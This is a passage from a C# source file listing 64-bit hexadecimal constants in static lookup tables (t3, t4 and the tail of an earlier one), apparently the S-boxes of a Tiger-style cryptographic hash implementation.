0x0904456173B29A82L) /* 464 */, unchecked((long) 0x58BC7A66C232BD5EL) /* 465 */, unchecked((long) 0xF306558C673AC8B2L) /* 466 */, unchecked((long) 0x41F639C6B6C9772AL) /* 467 */, unchecked((long) 0x216DEFE99FDA35DAL) /* 468 */, unchecked((long) 0x11640CC71C7BE615L) /* 469 */, unchecked((long) 0x93C43694565C5527L) /* 470 */, unchecked((long) 0xEA038E6246777839L) /* 471 */, unchecked((long) 0xF9ABF3CE5A3E2469L) /* 472 */, unchecked((long) 0x741E768D0FD312D2L) /* 473 */, unchecked((long) 0x0144B883CED652C6L) /* 474 */, unchecked((long) 0xC20B5A5BA33F8552L) /* 475 */, unchecked((long) 0x1AE69633C3435A9DL) /* 476 */, unchecked((long) 0x97A28CA4088CFDECL) /* 477 */, unchecked((long) 0x8824A43C1E96F420L) /* 478 */, unchecked((long) 0x37612FA66EEEA746L) /* 479 */, unchecked((long) 0x6B4CB165F9CF0E5AL) /* 480 */, unchecked((long) 0x43AA1C06A0ABFB4AL) /* 481 */, unchecked((long) 0x7F4DC26FF162796BL) /* 482 */, unchecked((long) 0x6CBACC8E54ED9B0FL) /* 483 */, unchecked((long) 0xA6B7FFEFD2BB253EL) /* 484 */, unchecked((long) 0x2E25BC95B0A29D4FL) /* 485 */, unchecked((long) 0x86D6A58BDEF1388CL) /* 486 */, unchecked((long) 0xDED74AC576B6F054L) /* 487 */, unchecked((long) 0x8030BDBC2B45805DL) /* 488 */, unchecked((long) 0x3C81AF70E94D9289L) /* 489 */, unchecked((long) 0x3EFF6DDA9E3100DBL) /* 490 */, unchecked((long) 0xB38DC39FDFCC8847L) /* 491 */, unchecked((long) 0x123885528D17B87EL) /* 492 */, unchecked((long) 0xF2DA0ED240B1B642L) /* 493 */, unchecked((long) 0x44CEFADCD54BF9A9L) /* 494 */, unchecked((long) 0x1312200E433C7EE6L) /* 495 */, unchecked((long) 0x9FFCC84F3A78C748L) /* 496 */, unchecked((long) 0xF0CD1F72248576BBL) /* 497 */, unchecked((long) 0xEC6974053638CFE4L) /* 498 */, unchecked((long) 0x2BA7B67C0CEC4E4CL) /* 499 */, unchecked((long) 0xAC2F4DF3E5CE32EDL) /* 500 */, unchecked((long) 0xCB33D14326EA4C11L) /* 501 */, unchecked((long) 0xA4E9044CC77E58BCL) /* 502 */, unchecked((long) 0x5F513293D934FCEFL) /* 503 */, unchecked((long) 0x5DC9645506E55444L) /* 504 */, unchecked((long) 0x50DE418F317DE40AL) /* 505 */, unchecked((long) 0x388CB31A69DDE259L) /* 506 */, unchecked((long) 0x2DB4A83455820A86L) /* 507 */, unchecked((long) 0x9010A91E84711AE9L) /* 508 */, unchecked((long) 0x4DF7F0B7B1498371L) /* 509 */, unchecked((long) 0xD62A2EABC0977179L) /* 510 */, unchecked((long) 0x22FAC097AA8D5C0EL) /* 511 */, }; private static readonly long[] t3 = { unchecked((long) 0xF49FCC2FF1DAF39BL) /* 512 */, unchecked((long) 0x487FD5C66FF29281L) /* 513 */, unchecked((long) 0xE8A30667FCDCA83FL) /* 514 */, unchecked((long) 0x2C9B4BE3D2FCCE63L) /* 515 */, unchecked((long) 0xDA3FF74B93FBBBC2L) /* 516 */, unchecked((long) 0x2FA165D2FE70BA66L) /* 517 */, unchecked((long) 0xA103E279970E93D4L) /* 518 */, unchecked((long) 0xBECDEC77B0E45E71L) /* 519 */, unchecked((long) 0xCFB41E723985E497L) /* 520 */, unchecked((long) 0xB70AAA025EF75017L) /* 521 */, unchecked((long) 0xD42309F03840B8E0L) /* 522 */, unchecked((long) 0x8EFC1AD035898579L) /* 523 */, unchecked((long) 0x96C6920BE2B2ABC5L) /* 524 */, unchecked((long) 0x66AF4163375A9172L) /* 525 */, unchecked((long) 0x2174ABDCCA7127FBL) /* 526 */, unchecked((long) 0xB33CCEA64A72FF41L) /* 527 */, unchecked((long) 0xF04A4933083066A5L) /* 528 */, unchecked((long) 0x8D970ACDD7289AF5L) /* 529 */, unchecked((long) 0x8F96E8E031C8C25EL) /* 530 */, unchecked((long) 0xF3FEC02276875D47L) /* 531 */, unchecked((long) 0xEC7BF310056190DDL) /* 532 */, unchecked((long) 0xF5ADB0AEBB0F1491L) /* 533 */, unchecked((long) 0x9B50F8850FD58892L) /* 534 */, unchecked((long) 0x4975488358B74DE8L) /* 535 */, unchecked((long) 0xA3354FF691531C61L) /* 536 */, unchecked((long) 0x0702BBE481D2C6EEL) /* 537 */, unchecked((long) 0x89FB24057DEDED98L) /* 538 */, unchecked((long) 0xAC3075138596E902L) /* 539 */, unchecked((long) 0x1D2D3580172772EDL) /* 540 */, unchecked((long) 0xEB738FC28E6BC30DL) /* 541 */, unchecked((long) 0x5854EF8F63044326L) /* 542 */, unchecked((long) 0x9E5C52325ADD3BBEL) /* 543 */, unchecked((long) 0x90AA53CF325C4623L) /* 544 */, unchecked((long) 0xC1D24D51349DD067L) /* 545 */, unchecked((long) 0x2051CFEEA69EA624L) /* 546 */, unchecked((long) 0x13220F0A862E7E4FL) /* 547 */, unchecked((long) 0xCE39399404E04864L) /* 548 */, unchecked((long) 0xD9C42CA47086FCB7L) /* 549 */, unchecked((long) 0x685AD2238A03E7CCL) /* 550 */, unchecked((long) 0x066484B2AB2FF1DBL) /* 551 */, unchecked((long) 0xFE9D5D70EFBF79ECL) /* 552 */, unchecked((long) 0x5B13B9DD9C481854L) /* 553 */, unchecked((long) 0x15F0D475ED1509ADL) /* 554 */, unchecked((long) 0x0BEBCD060EC79851L) /* 555 */, unchecked((long) 0xD58C6791183AB7F8L) /* 556 */, unchecked((long) 0xD1187C5052F3EEE4L) /* 557 */, unchecked((long) 0xC95D1192E54E82FFL) /* 558 */, unchecked((long) 0x86EEA14CB9AC6CA2L) /* 559 */, unchecked((long) 0x3485BEB153677D5DL) /* 560 */, unchecked((long) 0xDD191D781F8C492AL) /* 561 */, unchecked((long) 0xF60866BAA784EBF9L) /* 562 */, unchecked((long) 0x518F643BA2D08C74L) /* 563 */, unchecked((long) 0x8852E956E1087C22L) /* 564 */, unchecked((long) 0xA768CB8DC410AE8DL) /* 565 */, unchecked((long) 0x38047726BFEC8E1AL) /* 566 */, unchecked((long) 0xA67738B4CD3B45AAL) /* 567 */, unchecked((long) 0xAD16691CEC0DDE19L) /* 568 */, unchecked((long) 0xC6D4319380462E07L) /* 569 */, unchecked((long) 0xC5A5876D0BA61938L) /* 570 */, unchecked((long) 0x16B9FA1FA58FD840L) /* 571 */, unchecked((long) 0x188AB1173CA74F18L) /* 572 */, unchecked((long) 0xABDA2F98C99C021FL) /* 573 */, unchecked((long) 0x3E0580AB134AE816L) /* 574 */, unchecked((long) 0x5F3B05B773645ABBL) /* 575 */, unchecked((long) 0x2501A2BE5575F2F6L) /* 576 */, unchecked((long) 0x1B2F74004E7E8BA9L) /* 577 */, unchecked((long) 0x1CD7580371E8D953L) /* 578 */, unchecked((long) 0x7F6ED89562764E30L) /* 579 */, unchecked((long) 0xB15926FF596F003DL) /* 580 */, unchecked((long) 0x9F65293DA8C5D6B9L) /* 581 */, unchecked((long) 0x6ECEF04DD690F84CL) /* 582 */, unchecked((long) 0x4782275FFF33AF88L) /* 583 */, unchecked((long) 0xE41433083F820801L) /* 584 */, unchecked((long) 0xFD0DFE409A1AF9B5L) /* 585 */, unchecked((long) 0x4325A3342CDB396BL) /* 586 */, unchecked((long) 0x8AE77E62B301B252L) /* 587 */, unchecked((long) 0xC36F9E9F6655615AL) /* 588 */, unchecked((long) 0x85455A2D92D32C09L) /* 589 */, unchecked((long) 0xF2C7DEA949477485L) /* 590 */, unchecked((long) 0x63CFB4C133A39EBAL) /* 591 */, unchecked((long) 0x83B040CC6EBC5462L) /* 592 */, unchecked((long) 0x3B9454C8FDB326B0L) /* 593 */, unchecked((long) 0x56F56A9E87FFD78CL) /* 594 */, unchecked((long) 0x2DC2940D99F42BC6L) /* 595 */, unchecked((long) 0x98F7DF096B096E2DL) /* 596 */, unchecked((long) 0x19A6E01E3AD852BFL) /* 597 */, unchecked((long) 0x42A99CCBDBD4B40BL) /* 598 */, unchecked((long) 0xA59998AF45E9C559L) /* 599 */, unchecked((long) 0x366295E807D93186L) /* 600 */, unchecked((long) 0x6B48181BFAA1F773L) /* 601 */, unchecked((long) 0x1FEC57E2157A0A1DL) /* 602 */, unchecked((long) 0x4667446AF6201AD5L) /* 603 */, unchecked((long) 0xE615EBCACFB0F075L) /* 604 */, unchecked((long) 0xB8F31F4F68290778L) /* 605 */, unchecked((long) 0x22713ED6CE22D11EL) /* 606 */, unchecked((long) 0x3057C1A72EC3C93BL) /* 607 */, unchecked((long) 0xCB46ACC37C3F1F2FL) /* 608 */, unchecked((long) 0xDBB893FD02AAF50EL) /* 609 */, unchecked((long) 0x331FD92E600B9FCFL) /* 610 */, unchecked((long) 0xA498F96148EA3AD6L) /* 611 */, unchecked((long) 0xA8D8426E8B6A83EAL) /* 612 */, unchecked((long) 0xA089B274B7735CDCL) /* 613 */, unchecked((long) 0x87F6B3731E524A11L) /* 614 */, unchecked((long) 0x118808E5CBC96749L) /* 615 */, unchecked((long) 0x9906E4C7B19BD394L) /* 616 */, unchecked((long) 0xAFED7F7E9B24A20CL) /* 617 */, unchecked((long) 0x6509EADEEB3644A7L) /* 618 */, unchecked((long) 0x6C1EF1D3E8EF0EDEL) /* 619 */, unchecked((long) 0xB9C97D43E9798FB4L) /* 620 */, unchecked((long) 0xA2F2D784740C28A3L) /* 621 */, unchecked((long) 0x7B8496476197566FL) /* 622 */, unchecked((long) 0x7A5BE3E6B65F069DL) /* 623 */, unchecked((long) 0xF96330ED78BE6F10L) /* 624 */, unchecked((long) 0xEEE60DE77A076A15L) /* 625 */, unchecked((long) 0x2B4BEE4AA08B9BD0L) /* 626 */, unchecked((long) 0x6A56A63EC7B8894EL) /* 627 */, unchecked((long) 0x02121359BA34FEF4L) /* 628 */, unchecked((long) 0x4CBF99F8283703FCL) /* 629 */, unchecked((long) 0x398071350CAF30C8L) /* 630 */, unchecked((long) 0xD0A77A89F017687AL) /* 631 */, unchecked((long) 0xF1C1A9EB9E423569L) /* 632 */, unchecked((long) 0x8C7976282DEE8199L) /* 633 */, unchecked((long) 0x5D1737A5DD1F7ABDL) /* 634 */, unchecked((long) 0x4F53433C09A9FA80L) /* 635 */, unchecked((long) 0xFA8B0C53DF7CA1D9L) /* 636 */, unchecked((long) 0x3FD9DCBC886CCB77L) /* 637 */, unchecked((long) 0xC040917CA91B4720L) /* 638 */, unchecked((long) 0x7DD00142F9D1DCDFL) /* 639 */, unchecked((long) 0x8476FC1D4F387B58L) /* 640 */, unchecked((long) 0x23F8E7C5F3316503L) /* 641 */, unchecked((long) 0x032A2244E7E37339L) /* 642 */, unchecked((long) 0x5C87A5D750F5A74BL) /* 643 */, unchecked((long) 0x082B4CC43698992EL) /* 644 */, unchecked((long) 0xDF917BECB858F63CL) /* 645 */, unchecked((long) 0x3270B8FC5BF86DDAL) /* 646 */, unchecked((long) 0x10AE72BB29B5DD76L) /* 647 */, unchecked((long) 0x576AC94E7700362BL) /* 648 */, unchecked((long) 0x1AD112DAC61EFB8FL) /* 649 */, unchecked((long) 0x691BC30EC5FAA427L) /* 650 */, unchecked((long) 0xFF246311CC327143L) /* 651 */, unchecked((long) 0x3142368E30E53206L) /* 652 */, unchecked((long) 0x71380E31E02CA396L) /* 653 */, unchecked((long) 0x958D5C960AAD76F1L) /* 654 */, unchecked((long) 0xF8D6F430C16DA536L) /* 655 */, unchecked((long) 0xC8FFD13F1BE7E1D2L) /* 656 */, unchecked((long) 0x7578AE66004DDBE1L) /* 657 */, unchecked((long) 0x05833F01067BE646L) /* 658 */, unchecked((long) 0xBB34B5AD3BFE586DL) /* 659 */, unchecked((long) 0x095F34C9A12B97F0L) /* 660 */, unchecked((long) 0x247AB64525D60CA8L) /* 661 */, unchecked((long) 0xDCDBC6F3017477D1L) /* 662 */, unchecked((long) 0x4A2E14D4DECAD24DL) /* 663 */, unchecked((long) 0xBDB5E6D9BE0A1EEBL) /* 664 */, unchecked((long) 0x2A7E70F7794301ABL) /* 665 */, unchecked((long) 0xDEF42D8A270540FDL) /* 666 */, unchecked((long) 0x01078EC0A34C22C1L) /* 667 */, unchecked((long) 0xE5DE511AF4C16387L) /* 668 */, unchecked((long) 0x7EBB3A52BD9A330AL) /* 669 */, unchecked((long) 0x77697857AA7D6435L) /* 670 */, unchecked((long) 0x004E831603AE4C32L) /* 671 */, unchecked((long) 0xE7A21020AD78E312L) /* 672 */, unchecked((long) 0x9D41A70C6AB420F2L) /* 673 */, unchecked((long) 0x28E06C18EA1141E6L) /* 674 */, unchecked((long) 0xD2B28CBD984F6B28L) /* 675 */, unchecked((long) 0x26B75F6C446E9D83L) /* 676 */, unchecked((long) 0xBA47568C4D418D7FL) /* 677 */, unchecked((long) 0xD80BADBFE6183D8EL) /* 678 */, unchecked((long) 0x0E206D7F5F166044L) /* 679 */, unchecked((long) 0xE258A43911CBCA3EL) /* 680 */, unchecked((long) 0x723A1746B21DC0BCL) /* 681 */, unchecked((long) 0xC7CAA854F5D7CDD3L) /* 682 */, unchecked((long) 0x7CAC32883D261D9CL) /* 683 */, unchecked((long) 0x7690C26423BA942CL) /* 684 */, unchecked((long) 0x17E55524478042B8L) /* 685 */, unchecked((long) 0xE0BE477656A2389FL) /* 686 */, unchecked((long) 0x4D289B5E67AB2DA0L) /* 687 */, unchecked((long) 0x44862B9C8FBBFD31L) /* 688 */, unchecked((long) 0xB47CC8049D141365L) /* 689 */, unchecked((long) 0x822C1B362B91C793L) /* 690 */, unchecked((long) 0x4EB14655FB13DFD8L) /* 691 */, unchecked((long) 0x1ECBBA0714E2A97BL) /* 692 */, unchecked((long) 0x6143459D5CDE5F14L) /* 693 */, unchecked((long) 0x53A8FBF1D5F0AC89L) /* 694 */, unchecked((long) 0x97EA04D81C5E5B00L) /* 695 */, unchecked((long) 0x622181A8D4FDB3F3L) /* 696 */, unchecked((long) 0xE9BCD341572A1208L) /* 697 */, unchecked((long) 0x1411258643CCE58AL) /* 698 */, unchecked((long) 0x9144C5FEA4C6E0A4L) /* 699 */, unchecked((long) 0x0D33D06565CF620FL) /* 700 */, unchecked((long) 0x54A48D489F219CA1L) /* 701 */, unchecked((long) 0xC43E5EAC6D63C821L) /* 702 */, unchecked((long) 0xA9728B3A72770DAFL) /* 703 */, unchecked((long) 0xD7934E7B20DF87EFL) /* 704 */, unchecked((long) 0xE35503B61A3E86E5L) /* 705 */, unchecked((long) 0xCAE321FBC819D504L) /* 706 */, unchecked((long) 0x129A50B3AC60BFA6L) /* 707 */, unchecked((long) 0xCD5E68EA7E9FB6C3L) /* 708 */, unchecked((long) 0xB01C90199483B1C7L) /* 709 */, unchecked((long) 0x3DE93CD5C295376CL) /* 710 */, unchecked((long) 0xAED52EDF2AB9AD13L) /* 711 */, unchecked((long) 0x2E60F512C0A07884L) /* 712 */, unchecked((long) 0xBC3D86A3E36210C9L) /* 713 */, unchecked((long) 0x35269D9B163951CEL) /* 714 */, unchecked((long) 0x0C7D6E2AD0CDB5FAL) /* 715 */, unchecked((long) 0x59E86297D87F5733L) /* 716 */, unchecked((long) 0x298EF221898DB0E7L) /* 717 */, unchecked((long) 0x55000029D1A5AA7EL) /* 718 */, unchecked((long) 0x8BC08AE1B5061B45L) /* 719 */, unchecked((long) 0xC2C31C2B6C92703AL) /* 720 */, unchecked((long) 0x94CC596BAF25EF42L) /* 721 */, unchecked((long) 0x0A1D73DB22540456L) /* 722 */, unchecked((long) 0x04B6A0F9D9C4179AL) /* 723 */, unchecked((long) 0xEFFDAFA2AE3D3C60L) /* 724 */, unchecked((long) 0xF7C8075BB49496C4L) /* 725 */, unchecked((long) 0x9CC5C7141D1CD4E3L) /* 726 */, unchecked((long) 0x78BD1638218E5534L) /* 727 */, unchecked((long) 0xB2F11568F850246AL) /* 728 */, unchecked((long) 0xEDFABCFA9502BC29L) /* 729 */, unchecked((long) 0x796CE5F2DA23051BL) /* 730 */, unchecked((long) 0xAAE128B0DC93537CL) /* 731 */, unchecked((long) 0x3A493DA0EE4B29AEL) /* 732 */, unchecked((long) 0xB5DF6B2C416895D7L) /* 733 */, unchecked((long) 0xFCABBD25122D7F37L) /* 734 */, unchecked((long) 0x70810B58105DC4B1L) /* 735 */, unchecked((long) 0xE10FDD37F7882A90L) /* 736 */, unchecked((long) 0x524DCAB5518A3F5CL) /* 737 */, unchecked((long) 0x3C9E85878451255BL) /* 738 */, unchecked((long) 0x4029828119BD34E2L) /* 739 */, unchecked((long) 0x74A05B6F5D3CECCBL) /* 740 */, unchecked((long) 0xB610021542E13ECAL) /* 741 */, unchecked((long) 0x0FF979D12F59E2ACL) /* 742 */, unchecked((long) 0x6037DA27E4F9CC50L) /* 743 */, unchecked((long) 0x5E92975A0DF1847DL) /* 744 */, unchecked((long) 0xD66DE190D3E623FEL) /* 745 */, unchecked((long) 0x5032D6B87B568048L) /* 746 */, unchecked((long) 0x9A36B7CE8235216EL) /* 747 */, unchecked((long) 0x80272A7A24F64B4AL) /* 748 */, unchecked((long) 0x93EFED8B8C6916F7L) /* 749 */, unchecked((long) 0x37DDBFF44CCE1555L) /* 750 */, unchecked((long) 0x4B95DB5D4B99BD25L) /* 751 */, unchecked((long) 0x92D3FDA169812FC0L) /* 752 */, unchecked((long) 0xFB1A4A9A90660BB6L) /* 753 */, unchecked((long) 0x730C196946A4B9B2L) /* 754 */, unchecked((long) 0x81E289AA7F49DA68L) /* 755 */, unchecked((long) 0x64669A0F83B1A05FL) /* 756 */, unchecked((long) 0x27B3FF7D9644F48BL) /* 757 */, unchecked((long) 0xCC6B615C8DB675B3L) /* 758 */, unchecked((long) 0x674F20B9BCEBBE95L) /* 759 */, unchecked((long) 0x6F31238275655982L) /* 760 */, unchecked((long) 0x5AE488713E45CF05L) /* 761 */, unchecked((long) 0xBF619F9954C21157L) /* 762 */, unchecked((long) 0xEABAC46040A8EAE9L) /* 763 */, unchecked((long) 0x454C6FE9F2C0C1CDL) /* 764 */, unchecked((long) 0x419CF6496412691CL) /* 765 */, unchecked((long) 0xD3DC3BEF265B0F70L) /* 766 */, unchecked((long) 0x6D0E60F5C3578A9EL) /* 767 */, }; private static readonly long[] t4 = { unchecked((long) 0x5B0E608526323C55L) /* 768 */, unchecked((long) 0x1A46C1A9FA1B59F5L) /* 769 */, unchecked((long) 0xA9E245A17C4C8FFAL) /* 770 */, unchecked((long) 0x65CA5159DB2955D7L) /* 771 */, unchecked((long) 0x05DB0A76CE35AFC2L) /* 772 */, unchecked((long) 0x81EAC77EA9113D45L) /* 773 */, unchecked((long) 0x528EF88AB6AC0A0DL) /* 774 */, unchecked((long) 0xA09EA253597BE3FFL) /* 775 */, unchecked((long) 0x430DDFB3AC48CD56L) /* 776 */, unchecked((long) 0xC4B3A67AF45CE46FL) /* 777 */, unchecked((long) 0x4ECECFD8FBE2D05EL) /* 778 */, unchecked((long) 0x3EF56F10B39935F0L) /* 779 */, unchecked((long) 0x0B22D6829CD619C6L) /* 780 */, unchecked((long) 0x17FD460A74DF2069L) /* 781 */, unchecked((long) 0x6CF8CC8E8510ED40L) /* 782 */, unchecked((long) 0xD6C824BF3A6ECAA7L) /* 783 */, unchecked((long) 0x61243D581A817049L) /* 784 */, unchecked((long) 0x048BACB6BBC163A2L) /* 785 */, unchecked((long) 0xD9A38AC27D44CC32L) /* 786 */, unchecked((long) 0x7FDDFF5BAAF410ABL) /* 787 */, unchecked((long) 0xAD6D495AA804824BL) /* 788 */, unchecked((long) 0xE1A6A74F2D8C9F94L) /* 789 */, unchecked((long) 0xD4F7851235DEE8E3L) /* 790 */, unchecked((long) 0xFD4B7F886540D893L) /* 791 */, unchecked((long) 0x247C20042AA4BFDAL) /* 792 */, unchecked((long) 0x096EA1C517D1327CL) /* 793 */, unchecked((long) 0xD56966B4361A6685L) /* 794 */, unchecked((long) 0x277DA5C31221057DL) /* 795 */, unchecked((long) 0x94D59893A43ACFF7L) /* 796 */, unchecked((long) 0x64F0C51CCDC02281L) /* 797 */, unchecked((long) 0x3D33BCC4FF6189DBL) /* 798 */, unchecked((long) 0xE005CB184CE66AF1L) /* 799 */, unchecked((long) 0xFF5CCD1D1DB99BEAL) /* 800 */, unchecked((long) 0xB0B854A7FE42980FL) /* 801 */, unchecked((long) 0x7BD46A6A718D4B9FL) /* 802 */, unchecked((long) 0xD10FA8CC22A5FD8CL) /* 803 */, unchecked((long) 0xD31484952BE4BD31L) /* 804 */, unchecked((long) 0xC7FA975FCB243847L) /* 805 */, unchecked((long) 0x4886ED1E5846C407L) /* 806 */, unchecked((long) 0x28CDDB791EB70B04L) /* 807 */, unchecked((long) 0xC2B00BE2F573417FL) /* 808 */, unchecked((long) 0x5C9590452180F877L) /* 809 */, unchecked((long) 0x7A6BDDFFF370EB00L) /* 810 */, unchecked((long) 0xCE509E38D6D9D6A4L) /* 811 */, unchecked((long) 0xEBEB0F00647FA702L) /* 812 */, unchecked((long) 0x1DCC06CF76606F06L) /* 813 */, unchecked((long) 0xE4D9F28BA286FF0AL) /* 814 */, unchecked((long) 0xD85A305DC918C262L) /* 815 */, unchecked((long) 0x475B1D8732225F54L) /* 816 */, unchecked((long) 0x2D4FB51668CCB5FEL) /* 817 */, unchecked((long) 0xA679B9D9D72BBA20L) /* 818 */, unchecked((long) 0x53841C0D912D43A5L) /* 819 */, unchecked((long) 0x3B7EAA48BF12A4E8L) /* 820 */, unchecked((long) 0x781E0E47F22F1DDFL) /* 821 */, unchecked((long) 0xEFF20CE60AB50973L) /* 822 */, unchecked((long) 0x20D261D19DFFB742L) /* 823 */, unchecked((long) 0x16A12B03062A2E39L) /* 824 */, unchecked((long) 0x1960EB2239650495L) /* 825 */, unchecked((long) 0x251C16FED50EB8B8L) /* 826 */, unchecked((long) 0x9AC0C330F826016EL) /* 827 */, unchecked((long) 0xED152665953E7671L) /* 828 */, unchecked((long) 0x02D63194A6369570L) /* 829 */, unchecked((long) 0x5074F08394B1C987L) /* 830 */, unchecked((long) 0x70BA598C90B25CE1L) /* 831 */, unchecked((long) 0x794A15810B9742F6L) /* 832 */, unchecked((long) 0x0D5925E9FCAF8C6CL) /* 833 */, unchecked((long) 0x3067716CD868744EL) /* 834 */, unchecked((long) 0x910AB077E8D7731BL) /* 835 */, unchecked((long) 0x6A61BBDB5AC42F61L) /* 836 */, unchecked((long) 0x93513EFBF0851567L) /* 837 */, unchecked((long) 0xF494724B9E83E9D5L) /* 838 */, unchecked((long) 0xE887E1985C09648DL) /* 839 */, unchecked((long) 0x34B1D3C675370CFDL) /* 840 */, unchecked((long) 0xDC35E433BC0D255DL) /* 841 */, unchecked((long) 0xD0AAB84234131BE0L) /* 842 */, unchecked((long) 0x08042A50B48B7EAFL) /* 843 */, unchecked((long) 0x9997C4EE44A3AB35L) /* 844 */, unchecked((long) 0x829A7B49201799D0L) /* 845 */, unchecked((long) 0x263B8307B7C54441L) /* 846 */, unchecked((long) 0x752F95F4FD6A6CA6L) /* 847 */, unchecked((long) 0x927217402C08C6E5L) /* 848 */, unchecked((long) 0x2A8AB754A795D9EEL) /* 849 */, unchecked((long) 0xA442F7552F72943DL) /* 850 */, unchecked((long) 0x2C31334E19781208L) /* 851 */, unchecked((long) 0x4FA98D7CEAEE6291L) /* 852 */, unchecked((long) 0x55C3862F665DB309L) /* 853 */, unchecked((long) 0xBD0610175D53B1F3L) /* 854 */, unchecked((long) 0x46FE6CB840413F27L) /* 855 */, unchecked((long) 0x3FE03792DF0CFA59L) /* 856 */, unchecked((long) 0xCFE700372EB85E8FL) /* 857 */, unchecked((long) 0xA7BE29E7ADBCE118L) /* 858 */, unchecked((long) 0xE544EE5CDE8431DDL) /* 859 */, unchecked((long) 0x8A781B1B41F1873EL) /* 860 */, unchecked((long) 0xA5C94C78A0D2F0E7L) /* 861 */, unchecked((long) 0x39412E2877B60728L) /* 862 */, unchecked((long) 0xA1265EF3AFC9A62CL) /* 863 */, unchecked((long) 0xBCC2770C6A2506C5L) /* 864 */, unchecked((long) 0x3AB66DD5DCE1CE12L) /* 865 */, unchecked((long) 0xE65499D04A675B37L) /* 866 */, unchecked((long) 0x7D8F523481BFD216L) /* 867 */, unchecked((long) 0x0F6F64FCEC15F389L) /* 868 */, unchecked((long) 0x74EFBE618B5B13C8L) /* 869 */, unchecked((long) 0xACDC82B714273E1DL) /* 870 */, unchecked((long) 0xDD40BFE003199D17L) /* 871 */, unchecked((long) 0x37E99257E7E061F8L) /* 872 */, unchecked((long) 0xFA52626904775AAAL) /* 873 */, unchecked((long) 0x8BBBF63A463D56F9L) /* 874 */, unchecked((long) 0xF0013F1543A26E64L) /* 875 */, unchecked((long) 0xA8307E9F879EC898L) /* 876 */, unchecked((long) 0xCC4C27A4150177CCL) /* 877 */, unchecked((long) 0x1B432F2CCA1D3348L) /* 878 */, unchecked((long) 0xDE1D1F8F9F6FA013L) /* 879 */, unchecked((long) 0x606602A047A7DDD6L) /* 880 */, unchecked((long) 0xD237AB64CC1CB2C7L) /* 881 */, unchecked((long) 0x9B938E7225FCD1D3L) /* 882 */, unchecked((long) 0xEC4E03708E0FF476L) /* 883 */, unchecked((long) 0xFEB2FBDA3D03C12DL) /* 884 */, unchecked((long) 0xAE0BCED2EE43889AL) /* 885 */, unchecked((long) 0x22CB8923EBFB4F43L) /* 886 */, unchecked((long) 0x69360D013CF7396DL) /* 887 */, unchecked((long) 0x855E3602D2D4E022L) /* 888 */, unchecked((long) 0x073805BAD01F784CL) /* 889 */, unchecked((long) 0x33E17A133852F546L) /* 890 */, unchecked((long) 0xDF4874058AC7B638L) /* 891 */, unchecked((long) 0xBA92B29C678AA14AL) /* 892 */, unchecked((long) 0x0CE89FC76CFAADCDL) /* 893 */, unchecked((long) 0x5F9D4E0908339E34L) /* 894 */, unchecked((long) 0xF1AFE9291F5923B9L) /* 895 */, unchecked((long) 0x6E3480F60F4A265FL) /* 896 */, unchecked((long) 0xEEBF3A2AB29B841CL) /* 897 */, unchecked((long) 0xE21938A88F91B4ADL) /* 898 */, unchecked((long) 0x57DFEFF845C6D3C3L) /* 899 */, unchecked((long) 0x2F006B0BF62CAAF2L) /* 900 */, unchecked((long) 0x62F479EF6F75EE78L) /* 901 */, unchecked((long) 0x11A55AD41C8916A9L) /* 902 */, unchecked((long) 0xF229D29084FED453L) /* 903 */, unchecked((long) 0x42F1C27B16B000E6L) /* 904 */, unchecked((long) 0x2B1F76749823C074L) /* 905 */, unchecked((long) 0x4B76ECA3C2745360L) /* 906 */, unchecked((long) 0x8C98F463B91691BDL) /* 907 */, unchecked((long) 0x14BCC93CF1ADE66AL) /* 908 */, unchecked((long) 0x8885213E6D458397L) /* 909 */, unchecked((long) 0x8E177DF0274D4711L) /* 910 */, unchecked((long) 0xB49B73B5503F2951L) /* 911 */, unchecked((long) 0x10168168C3F96B6BL) /* 912 */, unchecked((long) 0x0E3D963B63CAB0AEL) /* 913 */, unchecked((long) 0x8DFC4B5655A1DB14L) /* 914 */, unchecked((long) 0xF789F1356E14DE5CL) /* 915 */, unchecked((long) 0x683E68AF4E51DAC1L) /* 916 */, unchecked((long) 0xC9A84F9D8D4B0FD9L) /* 917 */, unchecked((long) 0x3691E03F52A0F9D1L) /* 918 */, unchecked((long) 0x5ED86E46E1878E80L) /* 919 */, unchecked((long) 0x3C711A0E99D07150L) /* 920 */, unchecked((long) 0x5A0865B20C4E9310L) /* 921 */, unchecked((long) 0x56FBFC1FE4F0682EL) /* 922 */, unchecked((long) 0xEA8D5DE3105EDF9BL) /* 923 */, unchecked((long) 0x71ABFDB12379187AL) /* 924 */, unchecked((long) 0x2EB99DE1BEE77B9CL) /* 925 */, unchecked((long) 0x21ECC0EA33CF4523L) /* 926 */, unchecked((long) 0x59A4D7521805C7A1L) /* 927 */, unchecked((long) 0x3896F5EB56AE7C72L) /* 928 */, unchecked((long) 0xAA638F3DB18F75DCL) /* 929 */, unchecked((long) 0x9F39358DABE9808EL) /* 930 */, unchecked((long) 0xB7DEFA91C00B72ACL) /* 931 */, unchecked((long) 0x6B5541FD62492D92L) /* 932 */, unchecked((long) 0x6DC6DEE8F92E4D5BL) /* 933 */, unchecked((long) 0x353F57ABC4BEEA7EL) /* 934 */, unchecked((long) 0x735769D6DA5690CEL) /* 935 */, unchecked((long) 0x0A234AA642391484L) /* 936 */, unchecked((long) 0xF6F9508028F80D9DL) /* 937 */, unchecked((long) 0xB8E319A27AB3F215L) /* 938 */, unchecked((long) 0x31AD9C1151341A4DL) /* 939 */, unchecked((long) 0x773C22A57BEF5805L) /* 940 */, unchecked((long) 0x45C7561A07968633L) /* 941 */, unchecked((long) 0xF913DA9E249DBE36L) /* 942 */, unchecked((long) 0xDA652D9B78A64C68L) /* 943 */, unchecked((long) 0x4C27A97F3BC334EFL) /* 944 */, unchecked((long) 0x76621220E66B17F4L) /* 945 */, unchecked((long) 0x967743899ACD7D0BL) /* 946 */, unchecked((long) 0xF3EE5BCAE0ED6782L) /* 947 */, unchecked((long) 0x409F753600C879FCL) /* 948 */, unchecked((long) 0x06D09A39B5926DB6L) /* 949 */, unchecked((long) 0x6F83AEB0317AC588L) /* 950 */, unchecked((long) 0x01E6CA4A86381F21L) /* 951 */, unchecked((long) 0x66FF3462D19F3025L) /* 952 */, unchecked((long) 0x72207C24DDFD3BFBL) /* 953 */, unchecked((long) 0x4AF6B6D3E2ECE2EBL) /* 954 */, unchecked((long) 0x9C994DBEC7EA08DEL) /* 955 */, unchecked((long) 0x49ACE597B09A8BC4L) /* 956 */, unchecked((long) 0xB38C4766CF0797BAL) /* 957 */, unchecked((long) 0x131B9373C57C2A75L) /* 958 */, unchecked((long) 0xB1822CCE61931E58L) /* 959 */, unchecked((long) 0x9D7555B909BA1C0CL) 